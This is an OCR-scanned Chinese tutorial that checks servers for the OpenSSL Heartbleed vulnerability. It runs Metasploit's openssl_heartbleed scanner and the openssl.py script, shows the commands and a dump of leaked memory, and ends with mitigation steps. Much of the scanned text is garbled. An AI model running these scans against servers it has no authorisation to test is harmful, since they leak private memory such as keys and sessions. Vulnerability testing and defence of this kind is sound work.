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{6 F§ Metasploit B OPENSSL J& & H]

1) BARL Metasploit msf 71if > T8 AFES
“use auxiliary/scanner/ssl/openssl_heartbleed”

A U B

fER(F) #BE) BR(V) EH(S) KRIRE(T) XRBIH)
TCP/ IP connections on port 5432?

could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting

TCP/IP connections on port 54327

Easy phishing: Set up email templates, landing pages and listeners

lin Metasploit Pro's wizard -- type ' go.-pro' to launch it now.

metasploit v4.9.2-2014050701 [core: 4.9 api:1.0] ]
1299 exploits - 696 auxiliary - 207 post ]
335 payloads - 35 encoders - 8 nops ]

e auxiliary/scanner/ssl/openssl_heartbleed

ISEeA%

2.) BEE{# A show options” i LA (T 2B - BLAIP{EF
7E"RHOSTS”(HAZ P (7 £) L) F:"RPORT”( /7 #Z PORT)



fER(F) #REBE) @A) MB(S) HRIRHE(T) KBIH)

> use auxiliary/scanner/ssl/openssl heartbleed
auxiliary( ) > show options

ms f
ms f

[Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description

DUMPFILTER Pattern to filter leaked memory
before storing
MAX_KEYTRIES Max tries to dump key
RESPONSE_TIMEOUT e Number of seconds to wait for a
|server response
RHOSTS The target address range or CIDR
identifier
RPORT 443 The target port
STATUS_EVERY ) yes How many retries until status
THREADS 1 yes The number of concurrent threads
TLS_CALLBACK None yes Protocol to use, "None" to use nr
law TLS sockets (accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
‘ TLS_VERSION 1.0 VES TLS/SSL version to use (accepted
‘ SSLv3, 1.0, 1.1, 1.2)
|

msf auxiliary(

3.) {1/ set RHOSTS J% set RPORT EF5CaE 2 ¥ s ESeI% » ## A run”
TR - BB Heartbeat response with leak”Z2 ) HAZ IP A 55
mE o

W

BEUR T

HBR(F) #MWM(E) WBWR(\V) EH(S) HBIEHE(T)
lbefore storing
MAX_KEYTRIES Max tries to dump key
RESPONSE_ TIMEOUT e Number of seconds to wait for a
server response
RHOSTS The target address range or CIDR
identifier
RPORT 443 The target port
STATUS_EVERY 5 e How many retries until status
THREADS 1 VS The number of concurrent threads
TLS_CALLBACK None = Protocol to use, "None" to use r
aw TLS sockets (accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
TLS_VERSION 1.0 VS TLS/SSL version to use (accepted
SSLv3, 1.0, 1.1, 1.2)

) > set RHOSTS

auxiliary( ) > set RPORT 443
=> 443
auxiliary( ) > run

443 - Heartbeat response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary( s |




4) FEEIHE P ISR o HIETBTAT PR -

A2 U B8

TER(F) #=B8(E) 1RMR(v) EB(S) HIRBE(T) KBIH)
RPORT 443 yes The target port

STATUS_EVERY 5 yes How many retries until status
THREADS 1 =S The number of concurrent threads
TLS_CALLBACK None yes Protocol to use, "None" to use r
law TLS sockets (accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
\ TLS_VERSION 1.0 VS TLS/SSL version to use (accepted
SSLv3, 1.0, 1.1, 1.2)

msf auxiliary( ) > set RHOSTS
[RHOSTS => 1

Imsf auxiliary( ) > set RPORT 443
(RPORT => 443

!méi auxiliary( ) > run

[ +] - Heartbeat response with leak
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Imsf auxiliary( ). > set, RHOSTS
[RHOSTS =>

lmgi auxiliary( ) > run
[*] Scanned 1 of 1 hosts (100% complete)
[[*] Auxiliary module execution completed
msf auxiliary( R |

{$5FH Openssl.py #HHY OPENSSL JRIHEE

Openssl.py /5 Jared Stafford F[f] Python Fr#ess il T B » R/ ARV LG
B » | & https://gist.github.com/sh1n0b1/10100394 &k KA

1) PRI TR

BE¥ C:\Windows\system32\cmd.exe . . { SrE) |

All rights reserved.

C:\>openssl.py
Usage: openssl.py server [options]

Test for SSL heartbeat vulnerability (CUE-2014-0160)

Options:
-h, --help show this help message and exit
-p PORT, --port=PORT TCP port to test (default: 443)

C:\>



https://gist.github.com/sh1n0b1/10100394

2)) ARG AT s Z S 8(H AR IP K port » FHRLRy 443)

BN ChWindows\system32\emd.exe

Microsoft Windows [ffz4. 6.1.7601]

C:\Users>cd

:\>openssl.py

All rights reserved.

|:|il§|-§3-

3.) HIR IPLFALILyyfEs - R el s HEC S Ae T 64KB HYER

BN ChWindows\system32\cmd.exe

C:\>openssl.py

Connecting. . .

Sending Client Hello...

Waiting for Server Hello...
received message: type
received message: type
received message: type

... received message: type
ISending heartbeat request...

02 40 00 D8 03
BC 2B 92 A8 48
9F T7 O4 33 D4
21 00 39 00 38
84 CO 12 Co 08
03 00 0A CO 13
9A 00 99 B0 45
41 Ce 11 ce ov
12 00 09 00 14
00 00 49 00 OB
32 00 OE 90 0D
0A 00 16 0O 17
o4 00 05 00 12
10 80 11 80 23
05 00 04 CO 0D
95 CO 93 Co 99
93 00 92 00 A3
AE 00 8C CO BE
6D 00 1A 00 18
01 06 03 05 03
18 80 16 80 1C
15 00 13 00 16
23 00 00 00 00
88 03 00 00 0O
AG 03 02 01 02
67 12 28 91 87
04 03 03 30 81
02 55 53 31 17
72 69 53 69 67
06 03 55 04 OB
5S4 T2 75 73 74
38 06 03 55 04
20 56 65 T2 69
2D 20 46 B6F 72
20 TS 73 65 20

length
length
length
length

length

OB
85
co
o1c]
ce
[s1]
o1c]
[c1c]
[s1]
o1c]
o1c]
[s1]
o1]
o1c]
o1]
co
o1c]
[c1c]
02
o1c]
o1c]
01

TF
82
22
48
o4
OE
1F
67
31

30
63
TA
06

BC
03
22
35
oD
32
96
15
FF
34
09
15
oF
oA
BT
ag
As
4y
o1

oA
17
00
00
03
oF
CE
06
56
30
6E
3A
30
2E
65
03

== x|

sl e =3
.ust1.e...U .Ue
riSign, Inc.1.0.
..U....VeriSign
Trust Networkl:@
8..U...1(c) 2007
UeriSign, Inc.
- For authorized
use onlylEQC. .U




4.) % BIE IP RFAELL9RS - Al B8R ME&EER
Bl Ch\Windows\system32icmd.exes |ﬂ|ﬁj

C:%Z>openssl.py
Connecting. ..
Sending Client Hello...
Waiting for Server Hello...
. received message: type =
. received message: type =
. received message: type =
. received message: type =
Sending heartbeat request...
. received message: type =
Received alert:

ooeR: 02 46

vulnerable

&4 OPENSSL JRH

#3 OPENSSL JRile|(CVE-2014-0160) - {82 E Al T2 RS (A 252
ESFEERE © AR E BRI T RE E4NA - DL S5RF AUE AR Rsr 1|
e BEURRE R EHIMNIE SIS > MR 1 275 Ny SRR i
TTIREEMHEIE - B R EERBEERREINN -

1.) IZEEE#r OpenSSL EfF: 2 i ZA(1.0.1g or 1.0.2-beta2 D _F 7 i A)
2.) &R H il Server FrA Y Session

3.) EERL OpenSSL MARTS

4.) FErrEE(Ekes SSL FAE

5.) B AET RIS
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OPENSSL (CVE-2014-0160) % [F 2 s @ i - R M e iR S e E
B SR HEEAGE AN BVEROT

—RAEAE > A HTTPs fRiss » Bl A ETHEBEEITEHEE T
mwﬁmﬁﬁﬁ §EE) o

Uﬁ%%ﬁﬁAé’*%mﬁﬁzmm%LW¢E§Ex%% =h
SEHETTIERE > WERT ssltest.py fg il T B g HIETDE EME FHERT - F5 I
BT RFEER > PIEEA%SE > Snort IDS HEFT I ER(EM] - mm%%‘%%ad
30510 - 30517, 30520 - 30525, 30549, 30777 - 30788 -

<>

SEER

1. http://www.icst.org.tw/Heartbleed.aspx?lang=zh://news.cnet.com/8301-1009 3-57
591042-83/mobile-malware-grows-by-614-percent-in-last-year/

2. http://www.snort.org/snort-rules/#community

3. https://qgist.github.com/sh1n0b1/10100394
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